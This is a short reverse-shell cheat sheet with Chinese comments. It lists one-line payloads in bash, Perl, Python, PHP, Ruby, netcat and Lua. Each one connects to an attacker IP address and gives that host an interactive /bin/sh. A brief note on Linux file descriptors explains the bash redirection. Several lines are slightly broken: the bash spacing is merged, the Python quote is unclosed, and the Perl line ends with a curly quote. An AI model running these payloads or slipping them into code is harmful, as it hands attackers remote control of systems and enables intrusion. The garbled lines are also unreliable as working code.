1.Bash:
bash–i >&/dev/tcp/10.0.0.1/80800>&1 //bash –i打开一个交互的bash, /dev/tcp建立一个socket连接, >&将标准错误输出重定向到标准输出中,0>&1将标准输入重定向到标准输出中。
Linux shell文件描述符:
1.标准输入:代码为0,使用<或<<;
2.标准输出:代码为1,使用>或>>;
3.标准错误输出:代码为2,使用2>或2>>;
2.Perl:
perl-e 'use Socket; $i="10.0.0.1";$p=1234; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");};‘
3.Python
python-c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
4.PHP
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i<&3 >&3 2>&3");'
5.Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i<&%d >&%d 2>&%d",f,f,f)'
6.Netcat
nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
7. lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.1.1.19','8080');os.execute('/bin/sh -i <&3 >&3 2>&3');"